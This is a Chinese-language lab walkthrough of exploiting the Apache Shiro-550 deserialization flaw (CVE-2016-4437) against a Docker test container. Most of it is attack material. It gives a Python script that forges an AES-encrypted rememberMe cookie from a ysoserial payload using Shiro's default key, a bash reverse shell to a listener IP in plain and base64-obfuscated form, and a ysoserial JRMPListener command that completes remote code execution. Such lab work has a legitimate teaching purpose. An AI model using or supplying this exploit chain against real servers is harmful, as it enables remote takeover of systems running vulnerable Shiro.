这里漏洞原理不再多进行赘述 主要是测试漏洞的利用过程
漏洞1:shiro-550 CVE-2016-4437 shiro反序列化漏洞
利用版本 Apache-shiro <1.2.4
漏洞环境docker安装
docker pull medicean/vulapps:s_shiro_1
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
启动成功以后直接访问本地的8081端口即可
首先在登录界面输入相应的号之后点记住我 抓包
发现是存在rememberMe=deleteMe的字段的 是有可能存在shiro反序列化的
利用工具地址1:
https://github.com/insightglacier/Shiro_exploit
首先在目录下执行如下的命令
python shiro_exploit.py -u http://192.168.206.153:8081
后续使用步骤由于环境问题这里没办法实验 下一款利用工具:
(ps:很多工具已经由于不再更新了 也就不展示了 懂原理就行)
这里补充一下python的exp的代码
import sys
sys.path.append("./package")
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command): # ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
第一步 利用python生成exp
C:\Users\86181\Desktop\Shiro550_exploit>python shiro_exp2.py 192.168.206.153:15547
rememberMe=
QT5g+CpFTCOJ/0QjKwVWk0ga4OSMMwN05U1tMde7u7XTdBpmNg8fnji+2om5WqLWljloFje4Uxnfr1tgAEcKeAYho/Y6O/F3XFCtKZDrqnbT04EcsT7RLPXPspMqumXkrT+D5rLImevLAUkB+tPi6TtcScjUTbgkeWel0pE6IjxGPPZF7MJWtpqlrJenlj0Nwp75mh1ktvOhxoKlVJf0BIS7Sk/0G0oxFsB7zRwdtcy+IF/PWnxb/V2xVmwb8auTkJkzB+Tn0y/KrbyAArXjSYKLDS3NfLhegmBTFYrtBy6D4QMnBYbkyxjhsKwkSczRerzBy076qTXDpvfXwT8vPSkGw+XRnUh3f+o79yB7TFMn6AOAr2RCks/fbP1+SgRwy6gGT4O8ou11U/YP+Zryhw==
第二步 构造nc进行监听 监听的端口是8082端口
bash -i >& /dev/tcp/192.168.206.153/8082 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx
替换其中的内容
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}
继续替换 之后将此内容输入到终端 开始监听第二个交互端口15547端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 15547 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}'
之后我们对web登录成功以后的界面刷新抓包 删除掉jsessionid 并且替换掉rememberme
之后nc的监听也就上线了(ps:nc要在放包之前监听 否则就晚了)